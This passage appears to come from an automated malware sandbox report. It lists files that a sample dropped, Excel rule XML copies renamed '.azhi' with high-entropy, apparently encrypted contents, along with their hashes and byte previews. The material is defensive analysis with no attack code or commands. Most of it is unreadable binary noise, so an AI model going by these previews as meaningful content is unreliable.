R1.1kT..iX.....>As....GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120646v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	808
Entropy (8bit):	7.7289039510006114
Encrypted:	false
SSDEEP:	24:z2mhr+iE6CcduKbhgiQve8XX1rQ3VFRabD:z2UrdEnKlgle8XX1aCD
MD5:	8681F3F52C5597E28F24E82FC3B42165
SHA1:	C4743339DEC77AEF995C31B88A3348DEAFD3A8C7
SHA-256:	5405A4CFDE4D997E42AA7D4F8606090251B9DE460E8C5A0563CBE32209ED9DBA
SHA-512:	2AF5A406D9F5B2D61B8172DCDFF0778642D83318FD03D39D8C45044DF36A2D58A92EE80465A5549F72A0EC426CB6378A1537B0FC375ABFF3D6FA057C272B80F9
Malicious:	false
Preview:	<?xmlb~.#v].F....XZm..1.MHa..S...2(.3....\pI74E..X.\|k.....=L\|....4.G...r.O..'..&.~..@_..&.U..0..:.D. ..<T.....<.{J...d."...._...X.L.y.pf..........p..%.?M......5I.Q5_3.ur..../...=.]..S....!.6...B...C.'\|..YaK..n>.._..6:.....hs....&.`..(......a..%U....`_.Yy.,.5`.D.....l.m-Hld...%..g.6`..jN9W...E.....f..<.@..@.-[.....$4.....q0..+.M....bE-.._.../...2.......k..)^u.gC.\....#...U8.'...~.Y. z..?'.wr.4...b.\N....4....b....vU.~YU.-.p.X..E..g..I..:..z./V?.......XB.-t.i.1.i.p.L......=(.+x....(...^.NdM.../.....V.'g....."..(...SKz...G'......6....M..'.....T...eD.FrU..v..3....(d..si.^...A8-I.a.p.%...c2`_gA......v......V.W.......6..:.kY...{...W2.....D..pYe....5x0.....C...o<..z.DT.......:.9I..$.J.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120647v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	781
Entropy (8bit):	7.693292410478057
Encrypted:	false
SSDEEP:	24:Pedii5uTmrPgfO9pl3A7nKOq2KtMPSibD:PejEtAW7y2lZD
MD5:	9DA0AA0F661CD8E65CE6A2E4D5994DDE
SHA1:	EB4098D3476D2B268429BE07E7C31EA24587BE54
SHA-256:	A216D87CC5CDD9298DC9555C37A4EB0FA7797712E20FF7484E1D480633A777A1
SHA-512:	5D5182D646DC6A8E2E5D53F6D2D2834A75068E072C9C7A76D83B78436E718C736D1C779D16A15F2EDB570BC676B35A866CB51BDF199A6DAA2187312B38B05184
Malicious:	false
Preview:	<?xml!.....7B...........^..K.5.3p.Q.N...c%...S.$.. ..9.#...S......]}..R5H...U..(E<SM...^....a.....-.2...D..c.3.p.OE.16.....`.7.....<)...&.......o4..".....'A....&.N,4{\...)_5kF.U..:....Z....d..p..Q..R.8^.+v...M.......v....$/o....(...G^_..1...N..s^2...}....._....Z.,OkYw#c.EIB~yFw.........-.<..`\..f..:....J...'.s]....UP.2-R@(p.....u..8.3yg~.....Y...lw.RD8.....I.r.#..,. ....M....u..l...'.@-.....-..dXG.........&YGki.o.m-,u7...I..9gm.....[s....6....C.Y`'...=Se4T.z...@.B<....v...:.-R$.Q...n.>.K..........Q....1.j...Et.&7.C..lS..>.o)..g.h)..U..k(.......o.M.k.y-......W9.n.....k....8.....[g..OR...>....._vT...:.5 ....U.+....*&>.Q-&..+A.:L...Q..?.L.7...w...a..CL...OSd,.\.AN.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120648v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	824
Entropy (8bit):	7.767091104734233
Encrypted:	false
SSDEEP:	12:aPVZPEP5lpDu8SrCow4F8DIQCgBMjRvL4OwqvMloNZWR0fGHXUHj0yKTQQYcii9a:+j05lNu3Fi8kbIMloXWeQ4jpKMVbD
MD5:	2EC2F304A828C4B22645B2828F6D7A12
SHA1:	2399CF14FA52D903FC0785B865B0005908DCEA9D
SHA-256:	EF06A7CD5A27F37A25D9C4DA7A0764290F288230C1F31114F624FC65D0E922D0
SHA-512:	CBBB5FF6BE4DDC10BAA8636C58C7A65D94DE57BE6C40ADF98A7BEDBC6E2C73449D826D8A8B53109ECDE7D34122C6A297A2669E32CD1F113AAD326EED9D887371
Malicious:	false
Preview:	<?xml...t.hy.'..V...\|........;3....>e."..B.)/X.....t....#..U[.....QWB..{..H.\|..........HN..5k..l._Q.C.V..0U..$`;&h.b....<3Rux...H....b.......U.../.s.. .w...z4. ].].Y..S7._.]u?3.G.]P.[.!.V.O$l/..j.B..J.J......e..C....._.G,..yC....{1\.........f:.....v..X.@W........{^...Gk.9m..5..,~._.u{..Yky..B.I.2...-..-q>0...#....$.l.2=+........{l.....GKq.p.Y]s[.'.%...i!........].}.7,h..&I..l-..Ac.KT^Cs)._....}..D.....p..+..._8..D.L*^...41.6[.B.;.......b4...!..`\|Ln.Xtr.K.d..".u...S.{..o.W....&...l]wI..clh1<v.{.hQ...5........,..c...)O[...,....:..2.Mo.Q....9k.....M.O....<4...!.!..`.k.t..+..]K..".l.4.....d.m..G9.......R.uB.M..Ec..'....%.Px....N... =...l}..:I... ..zQ.;..J....f.A.....5.\..?.w..{....?....Rp?..........Lk.tT.AGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120649v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.691456541445253
Encrypted:	false
SSDEEP:	12:M6EYka2L9likvbvaIkbaiSuXfaUQSV9VMcazIRpvki2b+ALtufwfuYcii9a:M6Ua89l9bizaiSuXfanw8Pz49kjtucbD
MD5:	2C97FECB99D94E944B70243470204AF8
SHA1:	52F7E4DE12589B51E80EFEBE60A6C4CC5AF3991D
SHA-256:	B7D172730F4B217EAB8CEF3B6534D8D224726758EDE86C6C70C35EE3AC107E51
SHA-512:	A31E7F76E6B8F4C0F4E78258F847AD41076F5B908121F7E3F150F4E169A807997505F9B0E3E8A6FD1857FD48E2F133037C1E65A7B4185365D00E58BF89C632B3
Malicious:	false
Preview:	<?xml..Q..T..7Z.....@R..[9F.h..mR.P..A..pJ.j.P.-....2.9..;.F<)a..NVH..k.].V.,..\|...\|h..W.6...gk$.@..bj^...eG..U.f(.f..mXjU...H....K..4. l~...-k.=w....Y.}...W...........c.".h_R....55".....PBn.....%......R`..]+XM..&.....b....w............[U..{.l+.x......s0..@4.'7f.P.F..h....O.b.{=qG.j.n^s..`......@.tGQJT.G?.m^..51..+2..J...Q.S.:h?...g>.D.<.p.....R..F....?..(...l>..3...<1nE.4..}.}r..._._5Dr..U..C..p...&........RQK..._...2.(.`.uC...R~... 1..:..Pdp..y.8v....8`.....`.Y.amj.V...$..G.\X...v.b.....H.."....F...jW.q..Y.V.....j.w#s.NcC[1.<.2......K..V..`.....+.Z.V.[...a.k.{\...q....N...t..ek....D......gR2.........X.?G...Rb..n.KK.X.}.'.....gGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120650v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	812
Entropy (8bit):	7.723181846765014
Encrypted:	false
SSDEEP:	12:5gPRDF/dshdezK6zu4zW2QAUW9ungq2Z5FzmmlEe5sZWmGtr9XuWi4IdzhYcii9a:5YZ3wezKN29MgjZ5JEe5s0PXuHzqbD
MD5:	84BD2B892E703EDB524A6439D2E2D82A
SHA1:	B43605FD5CAA4F2101549BBB241D3F738E7322F9
SHA-256:	91DB6DE182CC7D7CDE2A9711D2738DFA105D27CE0C2132C7B48910698518C74C
SHA-512:	41702768F55DACD24A1A5167FC1DC712BC6A278D07920651333095761E4425490A757919D816D7FB3EFD3269D04DAC20A7A2BEE3D9360CE32C437FB33A7DAD71
Malicious:	false
Preview:	<?xml.a..v..L.Q4[..s..j.z...ti...T..!..5Ty.DP...$..}. ...>Q..?q....M.j]..q.....#..X>.....a.H...%,....!...B....XW.(. 1..J..-....J...! i......J....MP...7.`E;.&.].,.o.Wc....?F...N.....zz.qT..k..z`..4..WUB..0......F... ./..\.P....w9/.._U%..g....I...3L2E^.n.G..=4.~4m"=.j....t..ey(Z6 .4.....2s....].....!<..<.B.S.E.d_.6c.T3.=.../.w...@..F....O.u.2.(..........b..{.....P..v.v.P%......L.[.....d..S..Ch.....Y.`.....d..../...".#I.w....R.Y.\.R....m......W.Ly.B..7..?..a.&".=..5.r..W...`...&2.B...c...i.V.s.St..E?.Z..z..L...[.:.E.0...^...O.Li.........SoY...W....5>.n.1.L0...6......l...@..:.uVE.g.....^...2..../F...b.....0S.:qA$....!....X...y...F..h.....j..R..<l.......Y...B#....".f!....h8...r/.....uGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120651v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.6743765947619265
Encrypted:	false
SSDEEP:	12:sGagnK6yLSGZyv4fK9OYwKInC5WH01YGJVU6E5Od0+iS8TrIVyRACJqYh5Ksz/fR:sGaOK/LSGZSPjhInCWH1TcVgsgHZbD
MD5:	1EC3299EB8E63C51C5589227D55977A7
SHA1:	90F164885E60282046281E74882B554C2FF54930
SHA-256:	C662BEBC9D676FA6D50617A021F0E118A23FE0D4A017BAB354CD2CAB174C08FE
SHA-512:	0E2ADE164DCC4D5C8F4D69932BD04355070A68913ADB2D16302D1543514D912089C94CF7DE0CCBF587091A08C5232AA609A4F4E827F55D87D9CAE963D94D5CE4
Malicious:	false
Preview:	<?xmlz...@..N..I....Z...O..Gy.e.b.2.....................#~.[.E.z."m..b..d........k...!......y...I...1`.4..d......X.....Z.h..mh...K...........hX.....6.:.Xd>.+p.v.s....F\....W.&..&.V7..]..N2.....zT../\|...Tb.?..:/..X../..des....1.6.QGx.3........'v.....R.vH....+O.,..N...?..4....]...N.T.9g.>Wei$.'..A.Bf.B.@.[....Y6.y.h.....4.......Y.....$...z..I.jmq..f......A..L..L...c_..0....z..P.T.......l.B(HV....\rY...-.m..).......z....:...Ix..J..e....g.3z]T.G.1..6...`...(.x.T..j\|......C9\|.X..........'{6.c..m.J.u....>(....X.Q..0..D)...~.v=.)..\|.0/O.[do.rN.t....,Uh.J.[vGI..._.d....pv....V~).Y.O............!.r!2t.T..g.Q.v.SD.....$.....GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120652v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.726189229101706
Encrypted:	false
SSDEEP:	24:l24+yOyZslEYnfEhU2qL4Zam+Su0/EafcabD:gyDeEph/qEamDHHD
MD5:	F1C3CDADB69BAD1FDB7F2E6EAA1BE328
SHA1:	FC39EA1B90DAFCD2BC77B999A6BBF7D4616956A3
SHA-256:	AEA68CFF9519171015A19C296170FCF588E0ED6ABEA01ABFF3B442ECD9718352
SHA-512:	5A11CDA8E06BDD630F95694FA85F8C1242F98CC6384FDBEDB4ECB7B963977C406172F7F16157850153C6FD29114119A1E3612DA41EA96515FCDE337A0C4F5D10
Malicious:	false
Preview:	<?xml....4..":..[...Q.+.....U..;....9.Q[..,..\wp........l.{.F.Qg..{/n.....%o..9m..,.R.{...ti.8.n...._.2.^..4.6.sZH..FcC...7......P.f.PN....~>.......2...t......d...mC..=M.....b/(.....V.T.n6.>..]R ..>~w.X..S)h...@..S.8..~sC.gM....xx....p:.....0.z.0.d.$.C.O."..\.........-..P^....C.a ......].ig\Xb<.#z...h.....s..../l..o..] .~..g.]...yn!..C.%...w.l..tJ.R6R..1.......-..(7...g..A.N......n.l..n.Q.}.T@.......F. ..9..4...K .q.cP=.W...a.gR....F.;...K.\\|D.:#R~\(H.h-.8>.@ .\...MM......M.D....h..x..P%.....[..[ARH...O..PO...4!...G...k..52...p....."\.NI..C..H..\|....`J....*........3.d..1<...>..t...t!.)......2...u.N.T.U.,..Nn=)..B.......1[..\..>.v......%h.B.]..w.B}.$;,0Y...tC.+EUg.3.$.9.JyPGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120653v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.6907021600742995
Encrypted:	false
SSDEEP:	12:xJ2mCVCe5RpJjEkzeoTqjM1p76cPaw0BUtc8YGmVhHXV5W/5Zb3fpHF/p1VrYciD:fVsCeHpJjEkfn+rw0BUtc8o925ZbzfSX
MD5:	AA947C096A02A5C24BAD09C5B6B29C04
SHA1:	C744ABFEC5D3BBF760ED32559F4E4C4667863019
SHA-256:	0D6A3D542FDB8722B0A9D0287AF883D2A90268D971F36CDB31B067FFC5340BF8
SHA-512:	39FF796704535B42C8886245AC0F92D3E7ED41FE4E9EA30E6FBA51953A97065D9ED15F34E30445F7654ACCDE86D9FDA61E0CBCA1BA8184771E47BBD45F833D50
Malicious:	false
Preview:	<?xml, ..J..=H.YB.=..MW..}...S\|"p..\qi.j.2.R.".c..v.:...'...E'.\|..++.[ 1.C.8...5E%..E.D..9....!-.p....7......-.q...~['.e.N8..1..,_.b.V...l..Y,.l.V...L,.c......X......z....4.M...,.l.....L{.\|.p..'.....x......Nh.H.SM>E,{zT..g^.........%....'K....X.gHuW.T.c......j!.2.Cy.i..0uS}....@.\..D....^.^:..R.'.]...s.....q..3.Ot......9.L.....lf.tg.%......k ....@:....fZC.Jy...E.&..,..z.ZO.j%).@...QJ........k../1E......W.a".sf....~.5.h..'..}..<...r.D..h.....H...M\..R S.....l.."..*u..]..7....9jc....V^.9..q..R(...k#......M ?...g....>q..."B.0P...<....cK.z.u..j..G..e.zY.F./..E?........1N..\>.............B.+....h..!.GYY..T}.v.0..d....?.W.)NGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120654v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	810
Entropy (8bit):	7.757043496234408
Encrypted:	false
SSDEEP:	24:AdJdx6sqLBqXmLPBfyg8+WT9jr4+sNIgB98sTbD:Ar6s/IBfyxpFeNd8sHD
MD5:	47AFB0E3BF02A1950A26D3EBF0B2E98F
SHA1:	6F85B688BD69EC5A97C761CC25DA70E4FDF1999C
SHA-256:	7CE670FCEE886A94EF5EBFB6AF134E8DB1772DC1E513D513342D4972BAC952D4
SHA-512:	CBEE14B1F8E6C6C934746949B7B10825CE2745F177C19AAD04649A78348A1720D025443F27EE4A4E8019E041E605EDCD159123F9CC607A0064F1F0180B53BC95
Malicious:	false
Preview:	<?xml}..k.......W...J;.......1M...:.\|7......?.:fk..&.&F..o+/.D_..1.3n..'s..F....H.....I~^e...N...A../4o..Y..[RN ca.....m.._KC./Ala7....I./..B.u.K..?K;_.Oqn+N.... .................ZD.p.Bz+.K.X. U)..q5..5..x...P..5..Z_.u0u'p]..t.4....s...o}z........Ch.....u..u....3.....6.O.$.[..<Bd.D..a.......7'....o..K%a6p..Q[..W8.?..=.B..$(8o]>.O..WZ.?...d.....f....{T.C...x.g..J....A....'I.\|.......N.2...v..-......PL......'/[u....I...%.....X.../sH4...=o0.7..".>vJjm...W.=./....i.i........C.#l......F.k....QY..j..t.G.....b.UV.M......97.....K.i......;f..Qk.....q."........i.c......../..\`.....Z&...[..!.d5.Yb..1G...o.L.....NG.'.X.Z&=.T.$...-.s:.U.$....g.s..ee.2...\j3...7.a./F\|..dr.0..X..9..........x.XGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120655v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.6859716882388796
Encrypted:	false
SSDEEP:	12:xSpsNCKK8EVi1Pu5tpC+KCaoYAPVr/oZt5wZ5/WPFYdZ6P9xc9TZrIVv5FOKR5Om:xSNrViFu5HWCvVrgZt5K5/yWHXxZsVhj
MD5:	2335AD82A6BEAB5E0F4894F9D8896210
SHA1:	53CDE28DEB44DF7BFF242C8AD26E5A9434715317
SHA-256:	519444332C4803B61D2BC72310A7DF057BC1C9535C231EDA1D17F8B8D7CD8878
SHA-512:	5C706D54B2BD1CF947CF205806CE9A1B1C0C99E7A50F94279B40382794EE93B746A78EDC79DEAE8C4CE352466C434541E3760FDC6CFC4EA13BA7843AD4D90F90
Malicious:	false
Preview:	<?xml.Z.'&..A. ....C.Mk.=gw.X.0......../.>..8..UfcH..h.. ..y.....l...]..B...q...#_....B5.r.VH.1c$.....SfWC.....\|..1.&W....Za....z..{..&?..X..<P.. j9..v=.f.M#...%..V..2A...#...!.A..gt=Q.2P..~.rq0........L@... Z,....=.o..m;.q.u.~f..9".....:a.....hY.Q:-.*.a.jZ...>!\...0./..=6.....t.,),.....3.1.5V.F..!7.....b..M.0....O...{.....&R..5.(aBzY...D.n"......l..y.M..[G......%..Ui..[.w<\f.F./.r.......+k...5.l`j..Lh..;..[..........+..n..Q^.. ....I....].8....<.5.._.Y.Z<?.T..<.....5~1M5..m....<.w.$.g.N;llE..d.V.g.....\.U.T....E.).6S..pF..!p..%.?......<m..<.6.J..+.v......7..e..pA i...4b.......~.x/3.....l............M.q..W).].Dkal...Q?...y...p..!.....E?qGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120656v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	810
Entropy (8bit):	7.735316206612932
Encrypted:	false
SSDEEP:	12:3AhHFCAyGY16v1ob8y8rIxlDPuJrXAlL2A5pm8etvk0JcAZnc/CxXeWnGxHgYciD:3AZ4AygvCb8yoIrG02ACj9PcHptlbD
MD5:	0830B1B503D8D1091E1F7A50D235A1FA
SHA1:	4C5AF0DE1006C95D41BF963A4D922F17F5227194
SHA-256:	9B252AC5EEC4E1981AD192627772D901EF66667F381C925D93B4D53CCD4A1D05
SHA-512:	5A54A93E8957D47A7C2A82FE2AF8C48D32AB2229BF078DE2ACA24A09AD7A317FDE94CB2B371C48112A1CE73CC113BA72E0BA43E91FD0D34C12DE7E2584CE651A
Malicious:	false
Preview:	<?xml.....2j......6.{c3 p....a.x...,Z.R.@./6.:..C..c/\..M..8..g...P...q.>[.."..G..hW.......f.o..C....b..\|.4.Zp6.Y.D..q.... ~.......;...D.oey0:..D.._(:nW..A.J.n..'...@.r.m.'.<0.XbJ...w....9/.r.L.....`.4TE.U..U..&...E[ga-b....~#.....G7.....(...h'..y..).2y.......c..7.W....$0g..s.^.$.C....>.#"..~@.P..pY..Y...4.D....z_.....ZA....P.nm.....M+..(.....j..'.M((se.8.X..)..:..^. ]..W.........x...=9.._...\ ..RL....Z%f2..k.sW6~.<.t.N...b..C.M.9.S.e..?.....:.3y.v.e....*....s...q.{..1.\&.J..9E..Gq.v.i..,......%...rQ....I.U3.N.i.i.f\|t.vC.B.T..R"..r.Y.D..?..<.1T.K....aA...O.8k....c.R..O.M.2=..n.Eq...J.....M.~.\E.a..\ ../q..&}.[!...v.Xi..O...2?.....z.r.......b.p.E.0.ONZ....".%\|wcCcJf.I........w.....;.....,?<GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120657v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.7181794537216435
Encrypted:	false
SSDEEP:	12:aEZqipeuwpiqVmEj7tL0pzfz+76qky4UQfRsk6JjZzvqLRWRet2rZYcii9a:Rpeuw0fEvp0pDz+5kyx6TejZzvgXbD
MD5:	AA47FB4B8875232202401F9B697DBBC7
SHA1:	232FA2D3CAF4879A47CAE3B198157EE4CBAC4B20
SHA-256:	678ED8D2EE5322460AC41EF940D4923A6ED62659344A9D76A1C24C78C9EFBB02
SHA-512:	1855E0DCD9FEFFC0567293F53C3A06E82E612D05FE7EE3303FC89B343317C4DDA00493DB37F4575BDEB45C17494812D693DF7A8A2F0BA2E1BC00C54DAAD3FD6C
Malicious:	false
Preview:	<?xml...N....7N..(C.J9.~5..pm..;k.~..k.!u.T1....M.8...L....$...c.j.w...f........UN.k.2]O...A......mm.T.hl..}..+g..d,...o."..`.]l......:....t...Kia...k.....9_.B.}F.oY.Fo.7....e......R9\|.wWR.U2.)....;Ep7...Lb..".w...g..S..@No&.c..BL....i..A{t.~..L.....-;q.S......j...`.>GA..b.[.x.."=.(....Vd....5@O.ltf*d.....,......2..jc..;.(....X?..p...WW.x..s....W.D...o...L-....U..Z.K.b...1v.v+w/..vY.Fl..Xl............6..}...%-y...]...v..w......%Y4.8t.v&M..W.>.J.....Z..c.(. ../.....K.4P./....Z.....2DY.....=.#+o..b18..A........0......?..8.:..7.G...q.mW..9....4KJ..'..&Q^..^....._.Qm5.4.t.....Yt..^..6... ...kC.;...053.h.O.....<..oEE.vU........7......2.....qc.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120658v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.711894920756598
Encrypted:	false
SSDEEP:	12:H/LOLKrfEFO6eSVMN4vop44Y8rlkRrolnybdZHxYnr2V+8/Eogvjwoc2/oJ0QPKK:fLeKYRVm3YqIvHynyk8/4jPDQnbD
MD5:	6CF2FA86493545A37B87B1628FEE9584
SHA1:	8C5700914707B4DC6EAD73BDDF93D33A01F93DC7
SHA-256:	DF68BE581CDF7B093AF5CC3E222B9CD61F66FE81F8678D70EBB5B8BDAE89F77B
SHA-512:	F1EC2E0D580655DD2395170612851DF286F2C755E0CDBB621750BAA7871CD2888DBAB8A886D5532E9B704443ADD2A457C16A7E0E0EB544CF1B163A1B50D7494E
Malicious:	false
Preview:	<?xml..[.}(......Y.{....=7.Q....T.a#.{.a9=_y.;w..1.?..x.-...4.S.!...U...c..@5.......g.V..]6...4~.f.=..G..w.v.^.Z.;,s.....lg..2.S..~.7.Q,@....T.,.s..&....=..5...>&.K.b.....U.g..u.@.)7.=.p.p..............]..d.$_:.be7....*.jG.....{..@........S$...z.!..Q.[.d,..q."$.L.2....../.-d.b..-..(...@.q....4:3.......G5Y7..d.......F../. .:....E.4...D.1.5.-.O......MoB.O..l.....}....2....9_.`8./.......=8......Y....>..V.....h......5...a.!V>....xYj..q....!......G.k.m...P3.G.6.....@..d.......Q..ncG7.k...B.T.d~.<}.K..{....s.....C..L.~w.w...Xukw.2.P.j..3.=..-.b...@....\.......B!..=2...^R,.Jk......//.T"..K.`....) ..!.v.l8JeU..(.......F....o'..\..J..v.N.7.K.F y4q....ua?G.6w.Gl!.q.4OKU.D............GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120659v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.73674269809834
Encrypted:	false
SSDEEP:	12:wS6q9igHjKzesqhBCZ7u469IADD6sLlkuZ8JmLUyWsjqCwe9m9nk4TuYcii9a:Qqkxu46SA36Ng8pybPww+kebD
MD5:	73E48D79FC5490262C7337232383BB3A
SHA1:	3B32BC1B52B557E6A706FEFC0ADB23CF4A10AD60
SHA-256:	B8DAD77FFAB58030A02F0E83FE6AF5B47D0014B563CC84AEB043CD2C21763570
SHA-512:	5B8BE8BA4715B70EEFC48E059975D4A1203DCB0DFC02DEB9D438A4B9863A83198BE25F038E792D735F7BCDC6422C170B23730E6F56A45015FB807A2D8ABB134C
Malicious:	false
Preview:	<?xml....o..{)uY...A../>.......6..,.-0....t.A...T..-...!2.#x..1...i..<...T..Z.{.P877;.e...c....E.?h.....y...4... #d6..?.g_.e...S .&.w]:.k.".@p....y.AwP....Q.....U._f.P..&/..].Bdj.....ed.Q..A..L./....a..R[g.M]T..v.....>``.#w...b.q.3L .n.~.........q./td+g.3.O..... ..i.>....C.g.....hz..Ab2...S}............P..<..y#$.(.k...q...D."...m2.i7......O.....l....<.)...~..6...Y.#I...".<......6..u.?2..u..b..af......<.....{.....K...jzv 2..,.33".Gu......;...ncJkoM....\|......k.Z.Y.{..fO..qnmw.'Haf...I\|....t....%0...q..r.wY+...,.B ..9.....:....sK>....MlW...N....%....e.)a.h...g...(y...?.UH.o.....R......l ..M;L.;....@@........M..i....#...U~.>h..."..i@..A..{w....G..X.*..l..D..g.O;.-U.....>..i..&AGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120660v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.751859579516357
Encrypted:	false
SSDEEP:	12:qeBRbb2fpmixs6Zh8yExenRbn98JE85fa/LFf+WN5PQ/Y9//vEUNBgYcii9a:qKRWhmwExen1eJE85fOhfjN5P7v7NPbD
MD5:	841F3E360D94CEB09ED2ECCD7F986D75
SHA1:	914B089B8B0CE2FDF3CD5760D22FFB7FEC817502
SHA-256:	74E8F6FE80F4111564680D33F444F0BD2544248BA00EA614C55001BD357888F9
SHA-512:	5A9F8AA9C378D8C8EC114E55E6E15D3922504AC238AC5E3C05858610C746797AF99E7D25EE54000D085C64E4DB930F3B31D85C7CEC0F322F57BFD87A5F7B540A
Malicious:	false
Preview:	<?xml.......).._.EA>.X....L.s(......t./.Z..;d`Z...C.m..J..!...s/...[dA...Z6&_U...IbdY]......6...R..1..........f...20......N.h.a.]k...D..y..........x.........wg^{r....L<.........g$.......C..A...>....u........T..k....a.a...#.w... <..h.......!3..%F....V.3..?Oi...G.K?.).....76F....D.P...m.kq....G-,...G#.........,S].'.r....\.}J...Tw....V.&.t....]F....}.b>^....3U.&..4.BQ....$g. f8n...Q._..Qy}.\|o...1.&...b>.G...x....{_.9.....G.S.%}2...S. ....M.......:......4.`....3S..U....{~..C.^...^KrX.....z-,v#...d8l.2`...\|...@.-C.C.-.....[..K...E..........d...5.@[..Ul.`..:P.KAV....fF.C.u`.W...?Lu.....S....@.......1..f9\..,.S_...............`x.C....):..L..M.+.#,tR..)}#..y`;..a....7..2.:.....W6v..GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120661v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	744
Entropy (8bit):	7.709116651949172
Encrypted:	false
SSDEEP:	12:bRd3qF/deVcBown1KhJ7FASewLIKPkOD3aOXVFI6SZ6YmzyMqDQTsX0baAYjnKaP:bXYsDaSeEVD3aOXQVisDQVQjK+bD
MD5:	2867438755D81403039308BBC3ABAC85
SHA1:	1273764F4FC484EFDBED1A00F80AD37A6ADF1ADE
SHA-256:	65FD6CA6F512993FD1D05CD819D7F1ABC05DA21FC7D0DAB5A824D7FD4276CC5C
